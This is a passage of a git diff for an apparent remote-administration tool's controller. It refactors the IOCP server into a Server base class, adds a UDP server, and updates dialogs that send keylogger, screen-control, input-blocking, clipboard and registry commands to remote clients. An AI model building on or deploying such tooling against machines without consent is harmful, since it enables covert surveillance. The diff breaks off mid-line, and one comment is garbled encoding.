const { - return m_nHeaderLen; - } - const char* GetFlag() const { - return m_szPacketFlag; - } - FlagType GetFlagType() const { - return m_nFlagType; - } - Encoder* GetEncoder() const { - return m_Encoder; - } - Encoder* GetEncoder2() const { - return m_Encoder2; - } -private: - BOOL m_bParsed; // 数据包是否可以解析 - int m_nHeaderLen; // 数据包的头长度 - int m_nCompareLen; // 比对字节数 - int m_nFlagLen; // 标识长度 - FlagType m_nFlagType; // 标识类型 - char m_szPacketFlag[32]; // 对比信息 - Encoder* m_Encoder; // 编码器 - Encoder* m_Encoder2; // 编码器2 -}; - -enum IOType -{ - IOInitialize, - IORead, - IOWrite, - IOIdle -}; - -typedef struct CONTEXT_OBJECT -{ - CString sClientInfo[ONLINELIST_MAX]; - CString additonalInfo[RES_MAX]; - SOCKET sClientSocket; - WSABUF wsaInBuf; - WSABUF wsaOutBuffer; - char szBuffer[PACKET_LENGTH]; - CBuffer InCompressedBuffer; // 接收到的压缩的数据 - CBuffer InDeCompressedBuffer; // 解压后的数据 - CBuffer OutCompressedBuffer; - HWND hWnd; - HANDLE hDlg; - void *olps; // OVERLAPPEDPLUS - int CompressMethod; // 压缩算法 - HeaderParser Parser; // 解析数据协议 - uint64_t ID; // 唯一标识 - - BOOL m_bProxyConnected; // 代理是否连接 - BOOL bLogin; // 是否 login - std::string PeerName; // 对端IP - - VOID InitMember(SOCKET s) - { - memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH); - hWnd = NULL; - hDlg = NULL; - sClientSocket = s; - PeerName = ::GetPeerName(sClientSocket); - memset(&wsaInBuf, 0, sizeof(WSABUF)); - memset(&wsaOutBuffer, 0, sizeof(WSABUF)); - olps = NULL; - for (int i = 0; i < ONLINELIST_MAX; i++) { - sClientInfo[i].Empty(); - } - for (int i = 0; i < RES_MAX; i++) { - additonalInfo[i].Empty(); - } - CompressMethod = COMPRESS_ZSTD; - Parser.Reset(); - bLogin = FALSE; - m_bProxyConnected = FALSE; - } - VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector& a = {}) { - for (int i = 0; i < ONLINELIST_MAX; i++) - { - sClientInfo[i] = s[i]; - } - for (int i = 0; i < a.size(); i++) { - additonalInfo[i] = a[i].c_str(); - } - } - PBYTE GetBuffer(int offset) { - return InDeCompressedBuffer.GetBuffer(offset); - } - ULONG GetBufferLength() { - return InDeCompressedBuffer.GetBufferLength(); - } - std::string GetPeerName() const { - return PeerName; - } - CString GetClientData(int index) const{ - return sClientInfo[index]; - } - void GetAdditionalData(CString(&s)[RES_MAX]) const { - for (int i = 0; i < RES_MAX; i++) - { - s[i] = additonalInfo[i]; - } - } - void CancelIO() { - SAFE_CANCELIO(sClientSocket); - } - BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) { - return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos); - } - BYTE GetBYTE(int offset) { - return InDeCompressedBuffer.GetBYTE(offset); - } - // Write compressed buffer. - void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) { - if (Parser.IsParsed()) { - ULONG totalLen = dataLen + Parser.GetHeaderLen(); - BYTE szPacketFlag[32] = {}; - const int flagLen = Parser.GetFlagLen(); - memcpy(szPacketFlag, Parser.GetFlag(), flagLen); - if (Parser.IsEncodeHeader()) - encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]); - OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen); - OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG)); - if (Parser.GetFlagType() == FLAG_WINOS) { - memcpy(szPacketFlag, Parser.GetFlag(), 10); - OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10); - }else { - OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG)); - InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16); - } - Encode2(data, dataLen, szPacketFlag); - OutCompressedBuffer.WriteBuffer(data, dataLen); - } - } - // Read compressed buffer. - PBYTE ReadBuffer(ULONG &dataLen, ULONG &originLen) { - if (Parser.IsParsed()) { - ULONG totalLen = 0; - BYTE szPacketFlag[32] = {}; - InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen()); - InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG)); - if (Parser.GetFlagType() == FLAG_WINOS) { - InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10); - } else { - InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG)); - } - dataLen = totalLen - Parser.GetHeaderLen(); - PBYTE CompressedBuffer = new BYTE[dataLen]; - InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen); - Decode2(CompressedBuffer, dataLen, szPacketFlag); - return CompressedBuffer; - } - return nullptr; - } - // Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned. - PR Parse(CBuffer& buf) { - return Parser.Parse(buf, CompressMethod); - } - // Encode data before compress. - void Encode(PBYTE data, int len) const { - Parser.GetEncoder()->Encode((unsigned char*)data, len); - } - // Decode data after uncompress. - void Decode(PBYTE data, int len) const { - Parser.GetEncoder()->Decode((unsigned char*)data, len); - } - // Encode data after compress. - void Encode2(PBYTE data, int len, PBYTE param) const { - Parser.GetEncoder2()->Encode((unsigned char*)data, len, param); - } - // Decode data before uncompress. - void Decode2(PBYTE data, int len, PBYTE param) const { - Parser.GetEncoder2()->Decode((unsigned char*)data, len, param); - } - std::string RemoteAddr() const { - sockaddr_in ClientAddr = {}; - int ulClientAddrLen = sizeof(sockaddr_in); - int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen); - return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""; - } - static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) { - int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, }; - CString s; - for (int i = 0; i < 5; i++) { - s += data[idx[i]] + "|"; - } - s.Delete(s.GetLength() - 1); - return XXH64(s.GetString(), s.GetLength(), 0); - } - uint64_t GetID() const { return ID; } - void SetID(uint64_t id) { ID = id; } -}CONTEXT_OBJECT,*PCONTEXT_OBJECT; - -typedef CList ContextObjectList; - -class IOCPServer -{ -public: - SOCKET m_sListenSocket; - HANDLE m_hCompletionPort; - UINT m_ulMaxConnections; // 最大连接数 - HANDLE m_hListenEvent; - HANDLE m_hListenThread; - BOOL m_bTimeToKill; - HANDLE m_hKillEvent; - - ULONG m_ulThreadPoolMin; - ULONG m_ulThreadPoolMax; - ULONG m_ulCPULowThreadsHold; - ULONG m_ulCPUHighThreadsHold; - ULONG m_ulCurrentThread; - ULONG m_ulBusyThread; +// ZLIB 压缩库 +#include "zlib/zlib.h" +#if USING_LZ4 +#include "lz4/lz4.h" +#pragma comment(lib, "lz4/lz4.lib") +#define C_FAILED(p) (0 == (p)) +#define C_SUCCESS(p) (!C_FAILED(p)) +#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen)) +#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen)) +#else // ZSTD +#include "zstd/zstd.h" +#ifdef _WIN64 +#pragma comment(lib, "zstd/zstd_x64.lib") +#else +#pragma comment(lib, "zstd/zstd.lib") +#endif +#define C_FAILED(p) ZSTD_isError(p) +#define C_SUCCESS(p) (!C_FAILED(p)) +#define ZSTD_CLEVEL 5 #if USING_CTX - ZSTD_CCtx* m_Cctx; // 压缩上下文 - ZSTD_DCtx* m_Dctx; // 解压上下文 +#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen) +#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen) +#else +#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT) +#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen) +#endif #endif - CCpuUsage m_cpu; - ULONG m_ulKeepLiveTime; +class IOCPServer : public Server +{ + typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject); + typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject); +protected: + SOCKET m_sListenSocket; + HANDLE m_hCompletionPort; + UINT m_ulMaxConnections; + HANDLE m_hListenEvent; + HANDLE m_hListenThread; + BOOL m_bTimeToKill; + HANDLE m_hKillEvent; + ULONG m_ulThreadPoolMin; + ULONG m_ulThreadPoolMax; + ULONG m_ulCPULowThreadsHold; + ULONG m_ulCPUHighThreadsHold; + ULONG m_ulCurrentThread; + ULONG m_ulBusyThread; - typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject); - typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject); - UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort); +#if USING_CTX + ZSTD_CCtx* m_Cctx; // 压缩上下文 + ZSTD_DCtx* m_Dctx; // 解压上下文 +#endif + ULONG m_ulKeepLiveTime; + pfnNotifyProc m_NotifyProc; + pfnOfflineProc m_OfflineProc; + ULONG m_ulWorkThreadCount; + CRITICAL_SECTION m_cs; + ContextObjectList m_ContextConnectionList; + ContextObjectList m_ContextFreePoolList; + +private: static DWORD WINAPI ListenThreadProc(LPVOID lParam); - BOOL InitializeIOCP(VOID); static DWORD WINAPI WorkThreadProc(LPVOID lParam); - ULONG m_ulWorkThreadCount; - VOID OnAccept(); - CRITICAL_SECTION m_cs; - /************************************************************************/ - //上下背景文对象 - ContextObjectList m_ContextConnectionList; - ContextObjectList m_ContextFreePoolList; + BOOL InitializeIOCP(VOID); + VOID OnAccept(); PCONTEXT_OBJECT AllocateContext(SOCKET s); VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject); VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject); - VOID PostRecv(CONTEXT_OBJECT* ContextObject); - - int AddWorkThread(int n) { - EnterCriticalSection(&m_cs); + BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans); + BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); + BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); + VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength); + BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength); + int AddWorkThread(int n) { + EnterCriticalSection(&m_cs); m_ulWorkThreadCount += n; int ret = m_ulWorkThreadCount; LeaveCriticalSection(&m_cs); return ret; } - /************************************************************************/ - //请求得到完成 - BOOL HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans); - BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); - BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); - VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , size_t ulOriginalLength); - VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) { - OnClientPreSending(ContextObject, szBuffer, ulOriginalLength); - } +public: + IOCPServer(void); + ~IOCPServer(void); + + UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort); + VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) { OnClientPreSending(ContextObject, szBuffer, ulOriginalLength); } - BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength); + void UpdateMaxConnection(int maxConn); - IOCPServer(void); - ~IOCPServer(void); + void Destroy(); void Disconnect(CONTEXT_OBJECT *ctx){} - pfnNotifyProc m_NotifyProc; - pfnOfflineProc m_OfflineProc; }; typedef IOCPServer ISocketBase; -#define TRACK_OVERLAPPEDPLUS 0 - -class OVERLAPPEDPLUS -{ -public: - - OVERLAPPED m_ol; - IOType m_ioType; - - OVERLAPPEDPLUS(IOType ioType) - { -#if TRACK_OVERLAPPEDPLUS - char szLog[100]; - sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); - Mprintf(szLog); -#endif - ZeroMemory(this, sizeof(OVERLAPPEDPLUS)); - m_ioType = ioType; - } - - ~OVERLAPPEDPLUS() - { -#if TRACK_OVERLAPPEDPLUS - char szLog[100]; - sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); - Mprintf(szLog); -#endif - } -}; - typedef IOCPServer CIOCPServer; typedef CONTEXT_OBJECT ClientContext; @@ -494,12 +129,12 @@ typedef CONTEXT_OBJECT ClientContext; class CDialogBase : public CDialog { public: CONTEXT_OBJECT* m_ContextObject; - IOCPServer* m_iocpServer; + Server* m_iocpServer; CString m_IPAddress; bool m_bIsClosed; bool m_bIsProcessing; HICON m_hIcon; - CDialogBase(UINT nIDTemplate, CWnd* pParent, IOCPServer* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) : + CDialogBase(UINT nIDTemplate, CWnd* pParent, Server* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) : m_bIsClosed(false), m_bIsProcessing(false), m_ContextObject(pContext), m_iocpServer(pIOCPServer), diff --git a/server/2015Remote/IOCPUDPServer.cpp b/server/2015Remote/IOCPUDPServer.cpp new file mode 100644 index 0000000..dc543a2 --- /dev/null +++ b/server/2015Remote/IOCPUDPServer.cpp @@ -0,0 +1,164 @@ +#include "stdafx.h" +#include "IOCPUDPServer.h" +#include +#include + +IOCPUDPServer::IOCPUDPServer() { + WSADATA wsaData; + WSAStartup(MAKEWORD(2, 2), &wsaData); +} + +IOCPUDPServer::~IOCPUDPServer() { + WSACleanup(); +} + +UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) { + if (m_running) return 1; + + m_notify = NotifyProc; + m_offline = OffProc; + + m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED); + if (m_socket == INVALID_SOCKET) return 2; + + sockaddr_in addr{}; + addr.sin_family = AF_INET; + addr.sin_port = htons(uPort); + addr.sin_addr.s_addr = INADDR_ANY; + + if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3; + + m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0); + if (!m_hIOCP) return 4; + + m_running = true; + + // 启动工作线程 + m_hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)+[](LPVOID param) -> DWORD { + ((IOCPUDPServer*)param)->WorkerThread(); + return 0; + }, this, 0, NULL); + + // 提交多个初始接收 + for (int i = 0; i < 4; ++i) + PostRecv(); + + return 0; // 成功 +} + +void IOCPUDPServer::PostRecv() { + if (!m_running) return; + + AddCount(1); + CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT(); + ctx->InitMember(m_socket); + + IO_CONTEXT* ioCtx = new IO_CONTEXT(); + ZeroMemory(&ioCtx->ol, sizeof(OVERLAPPED)); + ioCtx->pContext = ctx; + + ctx->wsaInBuf.buf = ctx->szBuffer; + ctx->wsaInBuf.len = sizeof(ctx->szBuffer); + ctx->addrLen = sizeof(sockaddr_in); + + DWORD flags = 0; + int err = WSARecvFrom( + m_socket, + &ctx->wsaInBuf, + 1, + NULL, + &flags, + (sockaddr*)&ctx->clientAddr, + &ctx->addrLen, + &ioCtx->ol, + NULL + ); + + if (err == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) { + DWORD err = WSAGetLastError(); + Mprintf("[IOCP] PostRecv error: %d\n", err); + delete ioCtx; + delete ctx; + AddCount(-1); + } +} + +void IOCPUDPServer::WorkerThread() { + while (m_running) { + DWORD bytes = 0; + ULONG_PTR key = 0; + LPOVERLAPPED pOverlapped = nullptr; + + BOOL ok = GetQueuedCompletionStatus(m_hIOCP, &bytes, &key, &pOverlapped, INFINITE); + if (!ok) { + DWORD err = WSAGetLastError(); + Mprintf("[IOCP] PostRecv error: %d\n", err); + if (pOverlapped) { + IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol); + delete ioCtx->pContext; + delete ioCtx; + AddCount(-1); + } + continue; + } + if (!pOverlapped) continue; + + IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol); + CONTEXT_OBJECT* ctx = ioCtx->pContext; + + if (m_notify) + m_notify(ctx); + + // 释放 + delete ioCtx; + delete ctx; + AddCount(-1); + + PostRecv(); // 继续提交 + } +} + +VOID IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) { + WSABUF buf = { ulOriginalLength, (CHAR*)szBuffer }; + DWORD sent = 0; + int err = WSASendTo( + ContextObject->sClientSocket, + &buf, + 1, + &sent, + 0, + (sockaddr*)&ContextObject->clientAddr, + sizeof(sockaddr_in), + NULL, + NULL + ); + if (err == SOCKET_ERROR) { + DWORD err = WSAGetLastError(); + Mprintf("[IOCP] Send2Client error: %d\n", err); + } +} + +VOID IOCPUDPServer::Destroy() { + if (m_socket != INVALID_SOCKET) { + CancelIoEx((HANDLE)m_socket, NULL); // 取消所有IO请求 + closesocket(m_socket); + m_socket = INVALID_SOCKET; + } + + while (GetCount()) + Sleep(200); + + m_running = false; + PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // 用于唤醒线程退出 + + if (m_hThread) { + WaitForSingleObject(m_hThread, INFINITE); + CloseHandle(m_hThread); + m_hThread = NULL; + } + + if (m_hIOCP) { + CloseHandle(m_hIOCP); + m_hIOCP = NULL; + } +} diff --git a/server/2015Remote/IOCPUDPServer.h b/server/2015Remote/IOCPUDPServer.h new file mode 100644 index 0000000..cb2291a --- /dev/null +++ b/server/2015Remote/IOCPUDPServer.h @@ -0,0 +1,46 @@ +#pragma once +#include +#include +#include +#include "Server.h" + + +class IOCPUDPServer : public Server { +public: + IOCPUDPServer(); + ~IOCPUDPServer(); + + UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override; + VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override; + VOID Destroy() override; + +private: + void WorkerThread(); + void PostRecv(); + void AddCount(int n=1){ + m_locker.lock(); + m_count += n; + m_locker.unlock(); + } + int GetCount() { + m_locker.lock(); + int n = m_count; + m_locker.unlock(); + return n; + } +private: + int m_count = 0; + CLocker m_locker; + SOCKET m_socket = INVALID_SOCKET; + HANDLE m_hIOCP = NULL; + HANDLE m_hThread = NULL; + bool m_running = false; + + pfnNotifyProc m_notify = nullptr; + pfnOfflineProc m_offline = nullptr; + + struct IO_CONTEXT { + OVERLAPPED ol; + CONTEXT_OBJECT* pContext; + }; +}; diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp index 9e9de90..17a28f6 100644 --- a/server/2015Remote/KeyBoardDlg.cpp +++ b/server/2015Remote/KeyBoardDlg.cpp @@ -19,7 +19,7 @@ static char THIS_FILE[] = __FILE__; // CKeyBoardDlg dialog -CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext) +CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext) : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD) { m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1]; @@ -78,7 +78,7 @@ BOOL CKeyBoardDlg::OnInitDialog() // 通知远程控制端对话框已经打开 BYTE bToken = COMMAND_NEXT; - m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE @@ -144,7 +144,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam) if (pSysMenu != NULL) { m_bIsOfflineRecord = !m_bIsOfflineRecord; BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord }; - m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); if (m_bIsOfflineRecord) pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED); else @@ -154,7 +154,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam) } else if (nID == IDM_CLEAR_RECORD) { BYTE bToken = COMMAND_KEYBOARD_CLEAR; - m_iocpServer->Send(m_ContextObject, &bToken, 1); + m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); m_edit.SetWindowText(""); } else if (nID == IDM_SAVE_RECORD) { SaveRecord(); diff --git a/server/2015Remote/KeyBoardDlg.h b/server/2015Remote/KeyBoardDlg.h index 2058a26..cdaff42 100644 --- a/server/2015Remote/KeyBoardDlg.h +++ b/server/2015Remote/KeyBoardDlg.h @@ -18,7 +18,7 @@ class CKeyBoardDlg : public DialogBase // Construction public: void OnReceiveComplete(); - CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor + CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor // Dialog Data //{{AFX_DATA(CKeyBoardDlg) diff --git a/server/2015Remote/RegisterDlg.cpp b/server/2015Remote/RegisterDlg.cpp index 3045f6c..e3b9fe6 100644 --- a/server/2015Remote/RegisterDlg.cpp +++ b/server/2015Remote/RegisterDlg.cpp @@ -26,7 +26,7 @@ enum KEYVALUE{ IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog) -CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) +CRegisterDlg::CRegisterDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject) : DialogBase(CRegisterDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_STRING) { m_bIsClosed = FALSE; @@ -146,7 +146,7 @@ void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult) bToken=COMMAND_REG_FIND; strFullPath.Insert(0,bToken); //插入查询命令 [COMMAND_REG_FIND][x] - m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1); + m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1); m_isEnable = TRUE; diff --git a/server/2015Remote/RegisterDlg.h b/server/2015Remote/RegisterDlg.h index 351414e..a9a9764 100644 --- a/server/2015Remote/RegisterDlg.h +++ b/server/2015Remote/RegisterDlg.h @@ -10,7 +10,7 @@ class CRegisterDlg : public DialogBase DECLARE_DYNAMIC(CRegisterDlg) public: - CRegisterDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数 + CRegisterDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数 virtual ~CRegisterDlg(); // 对话框数据 diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index e8678f6..a5ceeaa 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -31,7 +31,7 @@ extern "C" void* x265_api_get_192() { return nullptr; } extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str, delim); } -CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) +CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject) : DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0) { m_pCodec = nullptr; @@ -74,7 +74,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC VOID CScreenSpyDlg::SendNext(void) { BYTE bToken = COMMAND_NEXT; - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1); + m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); } @@ -485,13 +485,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_BLOCK_INPUT; bToken[1] = !bIsChecked; - m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken)); + m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken)); break; } case IDM_GET_CLIPBOARD: //鎯宠Client鐨勫壀璐存澘鍐呭 { BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD; - m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); break; } case IDM_SET_CLIPBOARD: //缁欎粬 @@ -561,7 +561,7 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg) szData[0] = COMMAND_SCREEN_CONTROL; memcpy(szData + 1, Msg, sizeof(MSG64)); szData[length] = 0; - m_iocpServer->OnClientPreSending(m_ContextObject, szData, length); + m_iocpServer->Send2Client(m_ContextObject, szData, length); } BOOL CScreenSpyDlg::SaveSnapshot(void) @@ -613,7 +613,7 @@ VOID CScreenSpyDlg::SendServerClipboard(void) memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1); ::GlobalUnlock(hGlobal); ::CloseClipboard(); - m_iocpServer->OnClientPreSending(m_ContextObject,(PBYTE)szBuffer, iPacketLength); + m_iocpServer->Send2Client(m_ContextObject,(PBYTE)szBuffer, iPacketLength); delete[] szBuffer; } diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index 732ba98..a2c9c11 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -43,7 +43,7 @@ class CScreenSpyDlg : public DialogBase DECLARE_DYNAMIC(CScreenSpyDlg) public: - CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); + CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); virtual ~CScreenSpyDlg(); VOID SendNext(void); diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h new file mode 100644 index 0000000..afade64 --- /dev/null +++ b/server/2015Remote/Server.h @@ -0,0 +1,418 @@ +#pragma once + +#include "common/commands.h" +#include "common/header.h" +#include "common/encrypt.h" + +#include "Buffer.h" +#define XXH_INLINE_ALL +#include "xxhash.h" + +#define PACKET_LENGTH 0x2000 + +std::string GetPeerName(SOCKET sock); +std::string GetRemoteIP(SOCKET sock); + +enum +{ + ONLINELIST_IP = 0, // IP的列顺序 + ONLINELIST_ADDR, // 地址 + ONLINELIST_LOCATION, // 地理位置 + ONLINELIST_COMPUTER_NAME, // 计算机名/备注 + ONLINELIST_OS, // 操作系统 + ONLINELIST_CPU, // CPU + ONLINELIST_VIDEO, // 摄像头(有无) + ONLINELIST_PING, // PING(对方的网速) + ONLINELIST_VERSION, // 版本信息 + ONLINELIST_INSTALLTIME, // 安装时间 + ONLINELIST_LOGINTIME, // 活动窗口 + ONLINELIST_CLIENTTYPE, // 客户端类型 + ONLINELIST_PATH, // 文件路径 + ONLINELIST_MAX, +}; + +enum { + PARSER_WINOS = -2, + PARSER_FAILED = -1, // 解析失败 + PARSER_NEEDMORE = 0, // 需要更多数据 +}; + +typedef struct PR { + int Result; + bool IsFailed() const { + return PARSER_FAILED == Result; + } + bool IsNeedMore() const { + return PARSER_NEEDMORE == Result; + } + bool IsWinOSLogin() const { + return PARSER_WINOS == Result; + } +}PR; + +enum { + COMPRESS_UNKNOWN = -2, // 未知压缩算法 + COMPRESS_ZLIB = -1, // 以前版本使用的压缩方法 + COMPRESS_ZSTD = 0, // 当前使用的压缩方法 + COMPRESS_NONE = 1, // 没有压缩 +}; + +struct CONTEXT_OBJECT; + +// Header parser: parse the data to make sure it's from a supported client. +class HeaderParser { + friend struct CONTEXT_OBJECT; +protected: + HeaderParser() { + memset(this, 0, sizeof(HeaderParser)); + } + virtual ~HeaderParser() { + Reset(); + } + PR Parse(CBuffer& buf, int& compressMethod) { + const int MinimumCount = MIN_COMLEN; + if (buf.GetBufferLength() < MinimumCount) { + return PR{ PARSER_NEEDMORE }; + } + char szPacketFlag[32] = { 0 }; + buf.CopyBuffer(szPacketFlag, MinimumCount, 0); + HeaderEncType encTyp = HeaderEncUnknown; + FlagType flagType = CheckHead(szPacketFlag, encTyp); + if (flagType == FLAG_UNKNOWN) { + // 数据长度 + 通信密码 [4字节启动时间+4个0字节+命令标识+系统位数标识] + const BYTE* ptr = (BYTE*)buf.GetBuffer(0), * p = ptr + 4; + int length = *((int*)ptr); + int excepted = buf.GetBufferLength(); + if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 && + p[6] == 0 && 